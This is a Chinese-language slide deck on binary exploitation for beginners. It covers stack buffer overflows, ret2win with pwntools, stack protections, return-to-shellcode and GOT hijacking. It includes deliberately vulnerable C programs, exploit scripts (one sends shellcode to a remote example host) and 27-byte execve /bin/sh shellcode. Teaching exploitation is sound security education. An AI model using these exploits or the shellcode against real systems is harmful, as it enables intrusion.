PWN

講師: ItisCaleb

What is PWN

PWN

PWN 或是稱作 Binary Exploitation

是從機器語言以及記憶體層面去駭入系統

PWN

  • 伺服器(Web、NAS...)
  • 物聯網系統
  • 作業系統核心
  • 硬體設備

Stack Layout

Stack Layout

Stack Layout

Stack

saved rbp

rsp

stack frame 1

saved rip

saved rbp

rbp

stack frame 2

Buffer Overflow

Buffer Overflow

#include <stdio.h>

int main(){
	char name[40];
    fgets(name, 100, stdin);
    printf("Hello %s!", name);
	return 0;
}

Buffer Overflow

Stack

rsp

saved rip

saved rbp

rbp

Larry\n\0

Buffer Overflow

A*100?

Buffer Overflow

Stack

rsp

0x41414141

0x41414141

rbp

AAAAAAAA

AAAAAAAA

AAAAAAAA

AAAAAAAA

AAAAAAAA

Segmentation fault

Buffer Overflow

#include <stdio.h>

//gcc prog.c -o prog -no-pie -fno-stack-protector

void win(){
    execve("/bin/sh",NULL,NULL);
}
void lol(){
    char name[0x20];
    gets(name);
    printf("Hello %s!\n",name);
}
int main(){
    //just init things
    setvbuf(stdout, NULL, _IONBF, 0);
    
    lol();
    return 0;
}

Buffer Overflow

00000000004011ba <lol>:
  4011ba:       f3 0f 1e fa             endbr64
  4011be:       55                      push   rbp
  4011bf:       48 89 e5                mov    rbp,rsp
  4011c2:       48 83 ec 20             sub    rsp,0x20
  4011c6:       48 8d 45 e0             lea    rax,[rbp-0x20]
  4011ca:       48 89 c7                mov    rdi,rax
  4011cd:       b8 00 00 00 00          mov    eax,0x0
  4011d2:       e8 b9 fe ff ff          call   401090 <gets@plt>
  4011d7:       48 8d 45 e0             lea    rax,[rbp-0x20]
  4011db:       48 89 c6                mov    rsi,rax
  4011de:       48 8d 05 27 0e 00 00    lea    rax,[rip+0xe27]        # 40200c <_IO_stdin_used+0xc>
  4011e5:       48 89 c7                mov    rdi,rax
  4011e8:       b8 00 00 00 00          mov    eax,0x0
  4011ed:       e8 7e fe ff ff          call   401070 <printf@plt>
  4011f2:       90                      nop
  4011f3:       c9                      leave
  4011f4:       c3                      ret

Buffer Overflow

0000000000401196 <win>:
  401196:       f3 0f 1e fa             endbr64
  40119a:       55                      push   rbp
  40119b:       48 89 e5                mov    rbp,rsp
  40119e:       ba 00 00 00 00          mov    edx,0x0
  4011a3:       be 00 00 00 00          mov    esi,0x0
  4011a8:       48 8d 05 55 0e 00 00    lea    rax,[rip+0xe55]        # 402004 <_IO_stdin_used+0x4>
  4011af:       48 89 c7                mov    rdi,rax
  4011b2:       e8 c9 fe ff ff          call   401080 <execve@plt>
  4011b7:       90                      nop
  4011b8:       5d                      pop    rbp
  4011b9:       c3                      ret

Buffer Overflow

Stack

rsp

0x00401196

0x41414141

rbp

AAAAAAAA

AAAAAAAA

AAAAAAAA

AAAAAAAA

AAAAAAAA

ret = pop rip

Pwntools

Pwn tools

Pwn tools

from pwn import *
context(arch = 'i386', os = 'linux')

r = remote('exploitme.example.com', 31337)
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()

Pwn tools

函式 功能
process 執行程式
remote 發起 tcp 連線 (nc)
send 送出 bytes
sendline 送出 bytes,結尾加上換行\n
recv 接收指定數目的字元
recvuntil 接收到指定的bytes才繼續執行
recvline 接收一行
interactive 手動模式

Pwn tools

from pwn import *
context(arch = 'i386', os = 'linux')

r = process('./prog')

# buf + rbp
r.send(b"A"*0x20+b"A"*0x8)
r.sendline(p64(0x401196))
r.interactive()

Pwn tools(CLI)

Pwn tools(CLI)

工具 作用
checksec 檢查保護機制
cyclic 生成 patterns

Stack protection

Stack protection

RELRO

  • No RELRO : link map 和 GOT 都可寫
  • Partial RELRO : link map 不可寫,GOT 可寫
  • Full RELRO : link map 和 GOT 都不可寫

Stack Canary

RBP 之前會塞一個 canary 值,在函式結束時會檢查是否蓋到,若會直接 abort

No execute

可寫的記憶體不可執行,可以執行的記憶體不可寫

Code  r-x

Stack  rw-

關掉 NX

Position Independent Executable

每次程式(各區段)載入都會載入到隨機位置,編譯出來的程式碼的地址只會有 offset

Address Space Layout Randomization

跟 PIE 很像,同樣是記憶體區塊隨機化,但不太一樣的是 ASLR 是作業系統層面的,把如動態函式庫之類的區塊也隨機化

Return to shellcode

Return to Shellcode

需求: 知道 buffer 位置,且可執行

若是程式碼裡沒有可以直接利用的函式,我們何不直接加一個進去?

Return to Shellcode

Return to Shellcode

xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
Execute /bin/sh - 27 bytes

Return to Shellcode

做法就是在 buffer 塞入我們的機器碼之後,再讓程式 return 到我們 buffer 的地址

Return to Shellcode

Stack

rsp

0x7fffffffde30

0x41414141

rbp

shellcode

0x7fffffffde30

shellcode

shellcode

shellcode

AAAAAAAA

Lazy binding

Lazing binding

使用動態函式庫的程式在編譯期間並不知道函式庫中函式的位置

也因此使用到 Lazy binding 的機制來讓函式在第一次執行時才載入對應函式的位置

不在程式被載入時就載入所有對應函式的位置的原因是並不是所有函式都會被使用到

Lazing binding

原理是當程式呼叫到函式庫函式時,透過 kernel 去尋找該函式的位址,並填入程式本身的 GOT 表,後續使用便直接從 GOT 表尋找

Global Offset Table

一開始 GOT 表填入的皆是函式的plt+6的位址

接著便跳轉到 .plt 區塊,然後使用 _dl_runtime_resolve_xsave 來獲取函式的位址

最後填回 GOT 表

Global Offset Table

0000000000401020 <.plt>:
  401020:  push   QWORD PTR [rip+0x2fca]  # 403ff0 <got+0x8>
  401026:  jmp    QWORD PTR [rip+0x2fcc]  # 403ff8 <got+0x10>


0000000000401040 <gets@plt>:
  401040:  jmp    QWORD PTR [rip+0x2fc2]  # 404008 <gets@got>
  401046:  push   0x1
  40104b:  jmp    401020 <.plt>

  ...
  401159:  call   401040 <gets@plt> <------
  ...
  401165:  call   401040 <gets@plt>
printf@plt+6 gets@plt+6
setvbuf@plt+6

GOT

0x404000

0x404010

0x404020

Global Offset Table

0000000000401020 <.plt>:
  401020:  push   QWORD PTR [rip+0x2fca]  # 403ff0 <got+0x8>
  401026:  jmp    QWORD PTR [rip+0x2fcc]  # 403ff8 <got+0x10>


0000000000401040 <gets@plt>:
  401040:  jmp    QWORD PTR [rip+0x2fc2]  # 404008 <gets@got> <------
  401046:  push   0x1
  40104b:  jmp    401020 <.plt>

  ...
  401159:  call   401040 <gets@plt>
  ...
  401165:  call   401040 <gets@plt>
printf@plt+6 gets@plt+6
setvbuf@plt+6

GOT

0x404000

0x404010

0x404020

Global Offset Table

0000000000401020 <.plt>:
  401020:  push   QWORD PTR [rip+0x2fca]  # 403ff0 <got+0x8>
  401026:  jmp    QWORD PTR [rip+0x2fcc]  # 403ff8 <got+0x10>


0000000000401040 <gets@plt>:
  401040:  jmp    QWORD PTR [rip+0x2fc2]  # 404008 <gets@got> 
  401046:  push   0x1              <------------
  40104b:  jmp    401020 <.plt>

  ...
  401159:  call   401040 <gets@plt>
  ...
  401165:  call   401040 <gets@plt>
printf@plt+6 gets@plt+6
setvbuf@plt+6

GOT

0x404000

0x404010

0x404020

Global Offset Table

0000000000401020 <.plt>:
  401020:  push   QWORD PTR [rip+0x2fca]  # 403ff0 <got+0x8>
  401026:  jmp    QWORD PTR [rip+0x2fcc]  # 403ff8 <got+0x10> <------
  # jump to _dl_runtime_resolve_xsave

0000000000401040 <gets@plt>:
  401040:  jmp    QWORD PTR [rip+0x2fc2]  # 404008 <gets@got> 
  401046:  push   0x1             
  40104b:  jmp    401020 <.plt>

  ...
  401159:  call   401040 <gets@plt>
  ...
  401165:  call   401040 <gets@plt>
printf@plt+6 gets@plt+6
setvbuf@plt+6

GOT

0x404000

0x404010

0x404020

Global Offset Table

0000000000401020 <.plt>:
  401020:  push   QWORD PTR [rip+0x2fca]  # 403ff0 <got+0x8>
  401026:  jmp    QWORD PTR [rip+0x2fcc]  # 403ff8 <got+0x10>

0000000000401040 <gets@plt>:
  401040:  jmp    QWORD PTR [rip+0x2fc2]  # 404008 <gets@got> 
  401046:  push   0x1             
  40104b:  jmp    401020 <.plt>

  ...
  401159:  call   401040 <gets@plt>
  ... <-----
  401165:  call   401040 <gets@plt>
printf@plt+6 <_IO_gets>
setvbuf@plt+6

GOT

0x404000

0x404010

0x404020

Global Offset Table

0000000000401020 <.plt>:
  401020:  push   QWORD PTR [rip+0x2fca]  # 403ff0 <got+0x8>
  401026:  jmp    QWORD PTR [rip+0x2fcc]  # 403ff8 <got+0x10>

0000000000401040 <gets@plt>:
  401040:  jmp    QWORD PTR [rip+0x2fc2]  # 404008 <gets@got> 
  401046:  push   0x1             
  40104b:  jmp    401020 <.plt>

  ...
  401159:  call   401040 <gets@plt>
  ... 
  401165:  call   401040 <gets@plt> <-----
printf@plt+6 <_IO_gets>
setvbuf@plt+6

GOT

0x404000

0x404010

0x404020

Global Offset Table

0000000000401020 <.plt>:
  401020:  push   QWORD PTR [rip+0x2fca]  # 403ff0 <got+0x8>
  401026:  jmp    QWORD PTR [rip+0x2fcc]  # 403ff8 <got+0x10>

0000000000401040 <gets@plt>:
  401040:  jmp    QWORD PTR [rip+0x2fc2]  # 404008 <gets@got> <-----
  401046:  push   0x1             
  40104b:  jmp    401020 <.plt>

  ...
  401159:  call   401040 <gets@plt>
  ... 
  401165:  call   401040 <gets@plt> 
printf@plt+6 <_IO_gets>
setvbuf@plt+6

GOT

0x404000

0x404010

0x404020

GLIBC

GOT hijack

由於必須要動態載入位址,所以 GOT 表的記憶體位址是可寫的

如果有任意記憶體寫入的漏洞,我們則可以直接寫入指定函式的 GOT 表,而之後呼叫該函式時便會跳到我們指定的記憶體位置

Lab

網站

Made with Slides.com